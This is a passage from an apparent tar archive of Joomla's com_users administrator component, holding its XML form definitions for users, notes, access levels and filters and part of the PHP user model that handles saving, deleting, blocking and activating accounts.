com_users/models/forms/note.xml000060400000005452152455305320012651 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset
		addfieldpath="/administrator/components/com_categories/models/fields"
	>
		<field
			name="id"
			type="hidden"
			label="COM_USERS_FIELD_ID_LABEL"
			class="readonly"
			size="6"
			default="0"
			readonly="true"
		/>

		<field
			name="user_id"
			type="user"
			label="COM_USERS_FIELD_USER_ID_LABEL"
			description="JLIB_FORM_SELECT_USER"
			size="50"
			class="input-medium"
			required="true"
		/>

		<field
			name="catid"
			type="modal_category"
			label="COM_USERS_FIELD_CATEGORY_ID_LABEL"
			description="JFIELD_CATEGORY_DESC"
			extension="com_users"
			required="true"
			select="true"
			new="true"
			edit="true"
			clear="true"
		/>

		<field
			name="subject"
			type="text"
			label="COM_USERS_FIELD_SUBJECT_LABEL"
			description="COM_USERS_FIELD_SUBJECT_DESC"
			size="80"
		/>

		<field
			name="body"
			type="editor"
			label="COM_USERS_FIELD_NOTEBODY_LABEL"
			description="COM_USERS_FIELD_NOTEBODY_DESC"
			rows="10"
			cols="80"
			filter="safehtml"
		/>

		<field
			name="state"
			type="list"
			label="JSTATUS"
			description="COM_USERS_FIELD_STATE_DESC"
			size="1"
			default="1"
			>
			<option value="1">JPUBLISHED</option>
			<option value="0">JUNPUBLISHED</option>
			<option value="2">JARCHIVED</option>
			<option value="-2">JTRASHED</option>
		</field>

		<field
			name="review_time"
			type="calendar"
			label="COM_USERS_FIELD_REVIEW_TIME_LABEL"
			description="COM_USERS_FIELD_REVIEW_TIME_DESC"
			default="NOW"
			translateformat="true"
			filter="user_utc"
		/>

		<field
			name="checked_out"
			type="hidden"
			filter="unset"
		/>

		<field
			name="checked_out_time"
			type="hidden"
			filter="unset"
		/>

		<field
			name="created_user_id"
			type="hidden"
			label="JGLOBAL_FIELD_CREATED_BY_LABEL"
			filter="unset"
		/>

		<field
			name="created_time"
			type="hidden"
			label="JGLOBAL_FIELD_CREATED_LABEL"
			filter="unset"
		/>

		<field
			name="modified_user_id"
			type="hidden"
			label="JGLOBAL_FIELD_MODIFIED_BY_LABEL"
			filter="unset"
		/>

		<field
			name="modified_time"
			type="hidden"
			label="JGLOBAL_FIELD_MODIFIED_LABEL"
			filter="unset"
		/>

		<field
			name="publish_up"
			type="calendar"
			label="JGLOBAL_FIELD_PUBLISH_UP_LABEL"
			description="JGLOBAL_FIELD_PUBLISH_UP_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="publish_down"
			type="calendar"
			label="JGLOBAL_FIELD_PUBLISH_DOWN_LABEL"
			description="JGLOBAL_FIELD_PUBLISH_DOWN_DESC"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="version_note"
			type="text"
			label="JGLOBAL_FIELD_VERSION_NOTE_LABEL"
			description="JGLOBAL_FIELD_VERSION_NOTE_DESC"
			maxlength="255"
			size="45"
			labelclass="control-label"
		/>
	</fieldset>
</form>
com_users/models/forms/level.xml000060400000001062152455305320013004 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field 
			name="id" 
			type="hidden"
			default="0"
			readonly="true"
			required="true"
		/>

		<field 
			name="title" 
			type="text"
			label="COM_USERS_LEVEL_FIELD_TITLE_LABEL"
			description="COM_USERS_LEVEL_FIELD_TITLE_DESC"
			required="true"
			size="50"
		/>

		<field 
			name="ordering" 
			type="text"
			label="JFIELD_ORDERING_LABEL"
			description="JFIELD_ORDERING_DESC"
			default="0"
		/>

		<field 
			name="rules" 
			type="hidden"
			filter="int_array"
		/>
	</fieldset>
</form>
com_users/models/forms/filter_notes.xml000060400000004256152455305320014402 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_USERS_SEARCH_USER_NOTES"
			description="COM_USERS_SEARCH_IN_NOTE_TITLE"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="published"
			type="status"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_PUBLISHED</option>
		</field>
		<field
			name="category_id"
			type="category"
			label="JOPTION_FILTER_CATEGORY"
			description="JOPTION_FILTER_CATEGORY_DESC"
			extension="com_users"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_CATEGORY</option>
		</field>
		<field
			name="level"
			type="integer"
			label="JOPTION_FILTER_LEVEL"
			description="JOPTION_FILTER_LEVEL_DESC"
			first="1"
			last="10"
			step="1"
			languages="*"
			onchange="this.form.submit();"
			>
			<option value="">JOPTION_SELECT_MAX_LEVELS</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.review_time DESC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.state ASC">JSTATUS_ASC</option>
			<option value="a.state DESC">JSTATUS_DESC</option>
			<option value="a.subject ASC">COM_USERS_HEADING_SUBJECT_ASC</option>
			<option value="a.subject DESC">COM_USERS_HEADING_SUBJECT_DESC</option>
			<option value="c.title ASC">COM_USERS_HEADING_CATEGORY_ASC</option>
			<option value="c.title DESC">COM_USERS_HEADING_CATEGORY_DESC</option>
			<option value="u.name ASC">COM_USERS_HEADING_USER_ASC</option>
			<option value="u.name DESC">COM_USERS_HEADING_USER_DESC</option>
			<option value="a.review_time ASC">COM_USERS_HEADING_REVIEW_ASC</option>
			<option value="a.review_time DESC">COM_USERS_HEADING_REVIEW_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_users/models/forms/filter_groups.xml000060400000002144152455305320014563 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_USERS_SEARCH_GROUPS_LABEL"
			description="COM_USERS_SEARCH_IN_GROUPS"
			hint="JSEARCH_FILTER"
		/>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.lft ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.lft ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.lft DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.title ASC">COM_USERS_HEADING_GROUP_TITLE_ASC</option>
			<option value="a.title DESC">COM_USERS_HEADING_GROUP_TITLE_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_users/models/forms/user.xml000060400000011401152455305320012651 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset name="user_details">
		<field
			name="name"
			type="text"
			label="COM_USERS_USER_FIELD_NAME_LABEL"
			description="COM_USERS_USER_FIELD_NAME_DESC"
			required="true"
			size="30"
		/>

		<field
			name="username"
			type="text"
			label="COM_USERS_USER_FIELD_USERNAME_LABEL"
			description="COM_USERS_USER_FIELD_USERNAME_DESC"
			required="true"
			size="30"
		/>

		<field
			name="password"
			type="password"
			label="JGLOBAL_PASSWORD"
			description="COM_USERS_USER_FIELD_PASSWORD_DESC"
			autocomplete="off"
			class="validate-password"
			filter="raw"
			validate="password"
			size="30"
		/>

		<field
			name="password2"
			type="password"
			label="COM_USERS_USER_FIELD_PASSWORD2_LABEL"
			description="COM_USERS_USER_FIELD_PASSWORD2_DESC"
			autocomplete="off"
			class="validate-password"
			filter="raw"
			message="COM_USERS_USER_FIELD_PASSWORD1_MESSAGE"
			size="30"
			validate="equals"
			field="password"
		/>

		<field
			name="email"
			type="email"
			label="JGLOBAL_EMAIL"
			description="COM_USERS_USER_FIELD_EMAIL_DESC"
			required="true"
			size="30"
			validate="email"
			validDomains="com_users.domains"
		/>

		<field
			name="registerDate"
			type="calendar"
			label="COM_USERS_USER_FIELD_REGISTERDATE_LABEL"
			description="COM_USERS_USER_FIELD_REGISTERDATE_DESC"
			class="readonly"
			readonly="true"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="lastvisitDate"
			type="calendar"
			label="COM_USERS_USER_FIELD_LASTVISIT_LABEL"
			description="COM_USERS_USER_FIELD_LASTVISIT_DESC"
			class="readonly"
			readonly="true"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="lastResetTime"
			type="calendar"
			label="COM_USERS_USER_FIELD_LASTRESET_LABEL"
			description="COM_USERS_USER_FIELD_LASTRESET_DESC"
			class="readonly"
			readonly="true"
			translateformat="true"
			showtime="true"
			size="22"
			filter="user_utc"
		/>

		<field
			name="resetCount"
			type="number"
			label="COM_USERS_USER_FIELD_RESETCOUNT_LABEL"
			description="COM_USERS_USER_FIELD_RESETCOUNT_DESC"
			class="readonly"
			default="0"
			readonly="true"
		/>

		<field
			name="sendEmail"
			type="radio"
			label="COM_USERS_USER_FIELD_SENDEMAIL_LABEL"
			description="COM_USERS_USER_FIELD_SENDEMAIL_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="block"
			type="radio"
			label="COM_USERS_USER_FIELD_BLOCK_LABEL"
			description="COM_USERS_USER_FIELD_BLOCK_DESC"
			class="btn-group btn-group-yesno btn-group-reversed"
			default="0"
			>
			<option value="1">COM_USERS_USER_FIELD_BLOCK</option>
			<option value="0">COM_USERS_USER_FIELD_ENABLE</option>
		</field>

		<field
			name="requireReset"
			type="radio"
			label="COM_USERS_USER_FIELD_REQUIRERESET_LABEL"
			description="COM_USERS_USER_FIELD_REQUIRERESET_DESC"
			default="0"
			class="btn-group btn-group-yesno"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="id"
			type="number"
			label="JGLOBAL_FIELD_ID_LABEL"
			description="JGLOBAL_FIELD_ID_DESC"
			class="readonly"
			default="0"
			readonly="true"
		/>

	</fieldset>
	<field name="groups" type="hidden" />
	<field name="twofactor" type="hidden" />

	<fields name="params">

		<!--  Basic user account settings. -->
		<fieldset name="settings" label="COM_USERS_SETTINGS_FIELDSET_LABEL">

			<field
				name="admin_style"
				type="templatestyle"
				label="COM_USERS_USER_FIELD_BACKEND_TEMPLATE_LABEL"
				description="COM_USERS_USER_FIELD_BACKEND_TEMPLATE_DESC"
				client="administrator"
				filter="uint"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="admin_language"
				type="language"
				label="COM_USERS_USER_FIELD_BACKEND_LANGUAGE_LABEL"
				description="COM_USERS_USER_FIELD_BACKEND_LANGUAGE_DESC"
				client="administrator"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="language"
				type="language"
				label="COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_LABEL"
				description="COM_USERS_USER_FIELD_FRONTEND_LANGUAGE_DESC"
				client="site"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="editor"
				type="plugins"
				label="COM_USERS_USER_FIELD_EDITOR_LABEL"
				description="COM_USERS_USER_FIELD_EDITOR_DESC"
				folder="editors"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>

			<field
				name="timezone"
				type="timezone"
				label="COM_USERS_USER_FIELD_TIMEZONE_LABEL"
				description="COM_USERS_USER_FIELD_TIMEZONE_DESC"
				>
				<option value="">JOPTION_USE_DEFAULT</option>
			</field>
		</fieldset>

	</fields>
</form>
com_users/models/forms/mail.xml000060400000002734152455305320012626 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>

		<field 
			name="recurse" 
			type="checkbox"
			label="COM_USERS_MAIL_FIELD_RECURSE_LABEL"
			description="COM_USERS_MAIL_FIELD_RECURSE_DESC"
			value="1"
		/>

		<field 
			name="mode" 
			type="checkbox"
			label="COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_LABEL"
			description="COM_USERS_MAIL_FIELD_SEND_IN_HTML_MODE_DESC"
			value="1"
		/>

		<field 
			name="disabled" 
			type="checkbox"
			label="COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_LABEL"
			description="COM_USERS_MAIL_FIELD_EMAIL_DISABLED_USERS_DESC"
			value="1"
		/>

		<field 
			name="group" 
			type="usergrouplist"
			label="COM_USERS_MAIL_FIELD_GROUP_LABEL"
			description="COM_USERS_MAIL_FIELD_GROUP_DESC"
			default="0"
			size="10"
			>
			<option value="0">COM_USERS_MAIL_FIELD_VALUE_ALL_USERS_GROUPS</option>
		</field>

		<field 
			name="bcc" 
			type="checkbox"
			label="COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_LABEL"
			description="COM_USERS_MAIL_FIELD_SEND_AS_BLIND_CARBON_COPY_DESC"
			default="1"
			value="1"
			checked="1"
		/>

		<field 
			name="subject" 
			type="text"
			label="COM_USERS_MAIL_FIELD_SUBJECT_LABEL"
			description="COM_USERS_MAIL_FIELD_SUBJECT_DESC"
			class="span8"
			maxlength="150"
			size="30"
		/>

		<field 
			name="message" 
			type="textarea"
			label="COM_USERS_MAIL_FIELD_MESSAGE_LABEL"
			description="COM_USERS_MAIL_FIELD_MESSAGE_DESC"
			class="span11 vert"
			cols="70"
			rows="20"
		/>
	</fieldset>
</form>
com_users/models/forms/filter_levels.xml000060400000002166152455305320014542 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_USERS_SEARCH_ACCESS_LEVELS"
			description="COM_USERS_SEARCH_IN_LEVEL_NAME"
			hint="JSEARCH_FILTER"
		/>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			label="JGLOBAL_SORT_BY"
			description="JGLOBAL_SORT_BY"
			onchange="this.form.submit();"
			default="a.ordering ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.ordering ASC">JGRID_HEADING_ORDERING_ASC</option>
			<option value="a.ordering DESC">JGRID_HEADING_ORDERING_DESC</option>
			<option value="a.title ASC">COM_USERS_HEADING_LEVEL_NAME_ASC</option>
			<option value="a.title DESC">COM_USERS_HEADING_LEVEL_NAME_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			label="JGLOBAL_LIMIT"
			description="JGLOBAL_LIMIT"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_users/models/forms/config_domain.xml000060400000001165152455305320014475 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fieldset>
		<field
			name="name"
			type="text"
			label="COM_USERS_CONFIG_FIELD_DOMAIN_NAME_LABEL"
			description="COM_USERS_CONFIG_FIELD_DOMAIN_NAME_DESC"
			required="true"
		/>

		<field
			name="rule"
			type="list"
			label="COM_USERS_CONFIG_FIELD_DOMAIN_RULE_LABEL"
			description="COM_USERS_CONFIG_FIELD_DOMAIN_RULE_DESC"
			required="true"
			default="0"
			filter="integer"
			>
			<option value="1">COM_USERS_CONFIG_FIELD_DOMAIN_RULE_OPTION_ALLOW</option>
			<option value="0">COM_USERS_CONFIG_FIELD_DOMAIN_RULE_OPTION_DISALLOW</option>
		</field>
	</fieldset>
</form>
com_users/models/forms/filter_debuguser.xml000060400000003572152455305320015237 0ustar00<?xml version="1.0" encoding="utf-8"?>
<form>
	<fields name="filter">
		<field
			name="search"
			type="text"
			inputmode="search"
			label="COM_USERS_SEARCH_ASSETS"
			description="COM_USERS_SEARCH_IN_ASSETS"
			hint="JSEARCH_FILTER"
		/>
		<field
			name="component"
			type="Components"
			label="COM_USERS_FILTER_COMPONENT_LABEL"
			description="COM_USERS_FILTER_COMPONENT_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_OPTION_SELECT_COMPONENT</option>
		</field>
		<field
			name="level_start"
			type="Levels"
			label="COM_USERS_FILTER_LEVEL_START_LABEL"
			description="COM_USERS_FILTER_LEVEL_START_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_OPTION_SELECT_LEVEL_START</option>
		</field>
		<field
			name="level_end"
			type="Levels"
			label="COM_USERS_FILTER_LEVEL_END_LABEL"
			description="COM_USERS_FILTER_LEVEL_END_DESC"
			onchange="this.form.submit();"
			>
			<option value="">COM_USERS_OPTION_SELECT_LEVEL_END</option>
		</field>
	</fields>
	<fields name="list">
		<field
			name="fullordering"
			type="list"
			onchange="this.form.submit();"
			default="a.lft ASC"
			validate="options"
			>
			<option value="">JGLOBAL_SORT_BY</option>
			<option value="a.title ASC">COM_USERS_HEADING_ASSET_TITLE_ASC</option>
			<option value="a.title DESC">COM_USERS_HEADING_ASSET_TITLE_DESC</option>
			<option value="a.name ASC">COM_USERS_HEADING_ASSET_NAME_ASC</option>
			<option value="a.name DESC">COM_USERS_HEADING_ASSET_NAME_DESC</option>
			<option value="a.lft ASC">COM_USERS_HEADING_LFT_ASC</option>
			<option value="a.lft DESC">COM_USERS_HEADING_LFT_DESC</option>
			<option value="a.id ASC">JGRID_HEADING_ID_ASC</option>
			<option value="a.id DESC">JGRID_HEADING_ID_DESC</option>
		</field>
		<field
			name="limit"
			type="limitbox"
			class="input-mini"
			default="25"
			onchange="this.form.submit();"
		/>
	</fields>
</form>
com_users/models/user.php000060400000102133152455305320011515 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\User\UserHelper;
use Joomla\Registry\Registry;
use Joomla\Utilities\ArrayHelper;

/**
 * User model.
 *
 * @since  1.6
 */
class UsersModelUser extends JModelAdmin
{
	/**
	 * An item.
	 *
	 * @var    array
	 */
	protected $_item = null;

	/**
	 * Constructor.
	 *
	 * @param   array  $config  An optional associative array of configuration settings.
	 *
	 * @since   3.2
	 */
	public function __construct($config = array())
	{
		$config = array_merge(
			array(
				'event_after_delete'  => 'onUserAfterDelete',
				'event_after_save'    => 'onUserAfterSave',
				'event_before_delete' => 'onUserBeforeDelete',
				'event_before_save'   => 'onUserBeforeSave',
				'events_map'          => array('save' => 'user', 'delete' => 'user', 'validate' => 'user')
			), $config
		);

		parent::__construct($config);
	}

	/**
	 * Returns a reference to the a Table object, always creating it.
	 *
	 * @param   string  $type    The table type to instantiate
	 * @param   string  $prefix  A prefix for the table class name. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  JTable  A database object
	 *
	 * @since   1.6
	 */
	public function getTable($type = 'User', $prefix = 'JTable', $config = array())
	{
		$table = JTable::getInstance($type, $prefix, $config);

		return $table;
	}

	/**
	 * Method to get a single record.
	 *
	 * @param   integer  $pk  The id of the primary key.
	 *
	 * @return  mixed  Object on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function getItem($pk = null)
	{
		$pk = (!empty($pk)) ? $pk : (int) $this->getState('user.id');

		if ($this->_item === null)
		{
			$this->_item = array();
		}

		if (!isset($this->_item[$pk]))
		{
			$this->_item[$pk] = parent::getItem($pk);
		}

		return $this->_item[$pk];
	}

	/**
	 * Method to get the record form.
	 *
	 * @param   array    $data      An optional array of data for the form to interrogate.
	 * @param   boolean  $loadData  True if the form is to load its own data (default case), false if not.
	 *
	 * @return  mixed  A JForm object on success, false on failure
	 *
	 * @since   1.6
	 */
	public function getForm($data = array(), $loadData = true)
	{
		// Get the form.
		$form = $this->loadForm('com_users.user', 'user', array('control' => 'jform', 'load_data' => $loadData));

		if (empty($form))
		{
			return false;
		}

		// If the user needs to change their password, mark the password fields as required
		if (JFactory::getUser()->requireReset)
		{
			$form->setFieldAttribute('password', 'required', 'true');
			$form->setFieldAttribute('password2', 'required', 'true');
		}

		// When multilanguage is set, a user's default site language should also be a Content Language
		if (JLanguageMultilang::isEnabled())
		{
			$form->setFieldAttribute('language', 'type', 'frontend_language', 'params');
		}

		$userId = $form->getValue('id');

		// The user should not be able to set the requireReset value on their own account
		if ((int) $userId === (int) JFactory::getUser()->id)
		{
			$form->removeField('requireReset');
		}

		return $form;
	}

	/**
	 * Method to get the data that should be injected in the form.
	 *
	 * @return  mixed  The data for the form.
	 *
	 * @since   1.6
	 */
	protected function loadFormData()
	{
		// Check the session for previously entered form data.
		$data = JFactory::getApplication()->getUserState('com_users.edit.user.data', array());

		if (empty($data))
		{
			$data = $this->getItem();
		}

		$this->preprocessData('com_users.profile', $data, 'user');

		return $data;
	}

	/**
	 * Override JModelAdmin::preprocessForm to ensure the correct plugin group is loaded.
	 *
	 * @param   JForm   $form   A JForm object.
	 * @param   mixed   $data   The data expected for the form.
	 * @param   string  $group  The name of the plugin group to import (defaults to "content").
	 *
	 * @return  void
	 *
	 * @since   1.6
	 * @throws  Exception if there is an error in the form event.
	 */
	protected function preprocessForm(JForm $form, $data, $group = 'user')
	{
		parent::preprocessForm($form, $data, $group);
	}

	/**
	 * Method to save the form data.
	 *
	 * @param   array  $data  The form data.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function save($data)
	{
		$pk   = (!empty($data['id'])) ? $data['id'] : (int) $this->getState('user.id');
		$user = JUser::getInstance($pk);

		$my = JFactory::getUser();
		$iAmSuperAdmin = $my->authorise('core.admin');

		// User cannot modify own user groups
		if ((int) $user->id == (int) $my->id && !$iAmSuperAdmin && isset($data['groups']))
		{
			// Form was probably tampered with
			JFactory::getApplication()->enqueueMessage(JText::_('COM_USERS_USERS_ERROR_CANNOT_EDIT_OWN_GROUP'), 'warning');

			$data['groups'] = null;
		}

		if ($data['block'] && $pk == $my->id && !$my->block)
		{
			$this->setError(JText::_('COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF'));

			return false;
		}

		// Make sure user groups is selected when add/edit an account
		if (empty($data['groups']) && ((int) $user->id != (int) $my->id || $iAmSuperAdmin))
		{
			$this->setError(JText::_('COM_USERS_USERS_ERROR_CANNOT_SAVE_ACCOUNT_WITHOUT_GROUPS'));

			return false;
		}

		// Make sure that we are not removing ourself from Super Admin group
		if ($iAmSuperAdmin && $my->get('id') == $pk)
		{
			// Check that at least one of our new groups is Super Admin
			$stillSuperAdmin = false;
			$myNewGroups = $data['groups'];

			foreach ($myNewGroups as $group)
			{
				$stillSuperAdmin = $stillSuperAdmin ?: JAccess::checkGroup($group, 'core.admin');
			}

			if (!$stillSuperAdmin)
			{
				$this->setError(JText::_('COM_USERS_USERS_ERROR_CANNOT_DEMOTE_SELF'));

				return false;
			}
		}

		// Handle the two factor authentication setup
		if (array_key_exists('twofactor', $data))
		{
			$twoFactorMethod = $data['twofactor']['method'];

			// Get the current One Time Password (two factor auth) configuration
			$otpConfig = $this->getOtpConfig($pk);

			if ($twoFactorMethod != 'none')
			{
				// Run the plugins
				FOFPlatform::getInstance()->importPlugin('twofactorauth');
				$otpConfigReplies = FOFPlatform::getInstance()->runPlugins('onUserTwofactorApplyConfiguration', array($twoFactorMethod));

				// Look for a valid reply
				foreach ($otpConfigReplies as $reply)
				{
					if (!is_object($reply) || empty($reply->method) || ($reply->method != $twoFactorMethod))
					{
						continue;
					}

					$otpConfig->method = $reply->method;
					$otpConfig->config = $reply->config;

					break;
				}

				// Save OTP configuration.
				$this->setOtpConfig($pk, $otpConfig);

				// Generate one time emergency passwords if required (depleted or not set)
				if (empty($otpConfig->otep))
				{
					$oteps = $this->generateOteps($pk);
				}
			}
			else
			{
				$otpConfig->method = 'none';
				$otpConfig->config = array();
				$this->setOtpConfig($pk, $otpConfig);
			}

			// Unset the raw data
			unset($data['twofactor']);

			// Reload the user record with the updated OTP configuration
			$user->load($pk);
		}

		// Bind the data.
		if (!$user->bind($data))
		{
			$this->setError($user->getError());

			return false;
		}

		// Store the data.
		if (!$user->save())
		{
			$this->setError($user->getError());

			return false;
		}

		// Destroy all active sessions for the user after changing the password or blocking him
		if ($data['password2'] || $data['block'])
		{
			UserHelper::destroyUserSessions($user->id, true);
		}

		$this->setState('user.id', $user->id);

		return true;
	}

	/**
	 * Method to delete rows.
	 *
	 * @param   array  &$pks  An array of item ids.
	 *
	 * @return  boolean  Returns true on success, false on failure.
	 *
	 * @since   1.6
	 */
	public function delete(&$pks)
	{
		$user  = JFactory::getUser();
		$table = $this->getTable();
		$pks   = (array) $pks;

		// Check if I am a Super Admin
		$iAmSuperAdmin = $user->authorise('core.admin');

		JPluginHelper::importPlugin($this->events_map['delete']);
		$dispatcher = JEventDispatcher::getInstance();

		if (in_array($user->id, $pks))
		{
			$this->setError(JText::_('COM_USERS_USERS_ERROR_CANNOT_DELETE_SELF'));

			return false;
		}

		// Iterate the items to delete each one.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				// Access checks.
				$allow = $user->authorise('core.delete', 'com_users');

				// Don't allow non-super-admin to delete a super admin
				$allow = (!$iAmSuperAdmin && JAccess::check($pk, 'core.admin')) ? false : $allow;

				if ($allow)
				{
					// Get users data for the users to delete.
					$user_to_delete = JFactory::getUser($pk);

					// Fire the before delete event.
					$dispatcher->trigger($this->event_before_delete, array($table->getProperties()));

					if (!$table->delete($pk))
					{
						$this->setError($table->getError());

						return false;
					}
					else
					{
						// Trigger the after delete event.
						$dispatcher->trigger($this->event_after_delete, array($user_to_delete->getProperties(), true, $this->getError()));
					}
				}
				else
				{
					// Prune items that you can't change.
					unset($pks[$i]);
					JError::raiseWarning(403, JText::_('JERROR_CORE_DELETE_NOT_PERMITTED'));
				}
			}
			else
			{
				$this->setError($table->getError());

				return false;
			}
		}

		return true;
	}

	/**
	 * Method to block user records.
	 *
	 * @param   array    &$pks   The ids of the items to publish.
	 * @param   integer  $value  The value of the published state
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function block(&$pks, $value = 1)
	{
		$app        = JFactory::getApplication();
		$dispatcher = JEventDispatcher::getInstance();
		$user       = JFactory::getUser();

		// Check if I am a Super Admin
		$iAmSuperAdmin = $user->authorise('core.admin');
		$table         = $this->getTable();
		$pks           = (array) $pks;

		JPluginHelper::importPlugin($this->events_map['save']);

		// Prepare the logout options.
		$options = array(
			'clientid' => $app->get('shared_session', '0') ? null : 0,
		);

		// Access checks.
		foreach ($pks as $i => $pk)
		{
			if ($value == 1 && $pk == $user->get('id'))
			{
				// Cannot block yourself.
				unset($pks[$i]);
				JError::raiseWarning(403, JText::_('COM_USERS_USERS_ERROR_CANNOT_BLOCK_SELF'));
			}
			elseif ($table->load($pk))
			{
				$old   = $table->getProperties();
				$allow = $user->authorise('core.edit.state', 'com_users');

				// Don't allow non-super-admin to delete a super admin
				$allow = (!$iAmSuperAdmin && JAccess::check($pk, 'core.admin')) ? false : $allow;

				if ($allow)
				{
					// Skip changing of same state
					if ($table->block == $value)
					{
						unset($pks[$i]);
						continue;
					}

					$table->block = (int) $value;

					// If unblocking, also change password reset count to zero to unblock reset
					if ($table->block === 0)
					{
						$table->resetCount = 0;
					}

					// Allow an exception to be thrown.
					try
					{
						if (!$table->check())
						{
							$this->setError($table->getError());

							return false;
						}

						// Trigger the before save event.
						$result = $dispatcher->trigger($this->event_before_save, array($old, false, $table->getProperties()));

						if (in_array(false, $result, true))
						{
							// Plugin will have to raise its own error or throw an exception.
							return false;
						}

						// Store the table.
						if (!$table->store())
						{
							$this->setError($table->getError());

							return false;
						}

						if ($table->block)
						{
							UserHelper::destroyUserSessions($table->id);
						}

						// Trigger the after save event
						$dispatcher->trigger($this->event_after_save, array($table->getProperties(), false, true, null));
					}
					catch (Exception $e)
					{
						$this->setError($e->getMessage());

						return false;
					}

					// Log the user out.
					if ($value)
					{
						$app->logout($table->id, $options);
					}
				}
				else
				{
					// Prune items that you can't change.
					unset($pks[$i]);
					JError::raiseWarning(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED'));
				}
			}
		}

		return true;
	}

	/**
	 * Method to activate user records.
	 *
	 * @param   array  &$pks  The ids of the items to activate.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   1.6
	 */
	public function activate(&$pks)
	{
		$dispatcher = JEventDispatcher::getInstance();
		$user       = JFactory::getUser();

		// Check if I am a Super Admin
		$iAmSuperAdmin = $user->authorise('core.admin');
		$table         = $this->getTable();
		$pks           = (array) $pks;

		JPluginHelper::importPlugin($this->events_map['save']);

		// Access checks.
		foreach ($pks as $i => $pk)
		{
			if ($table->load($pk))
			{
				$old   = $table->getProperties();
				$allow = $user->authorise('core.edit.state', 'com_users');

				// Don't allow non-super-admin to delete a super admin
				$allow = (!$iAmSuperAdmin && JAccess::check($pk, 'core.admin')) ? false : $allow;

				if (empty($table->activation))
				{
					// Ignore activated accounts.
					unset($pks[$i]);
				}
				elseif ($allow)
				{
					$table->block      = 0;
					$table->activation = '';

					// Allow an exception to be thrown.
					try
					{
						if (!$table->check())
						{
							$this->setError($table->getError());

							return false;
						}

						// Trigger the before save event.
						$result = $dispatcher->trigger($this->event_before_save, array($old, false, $table->getProperties()));

						if (in_array(false, $result, true))
						{
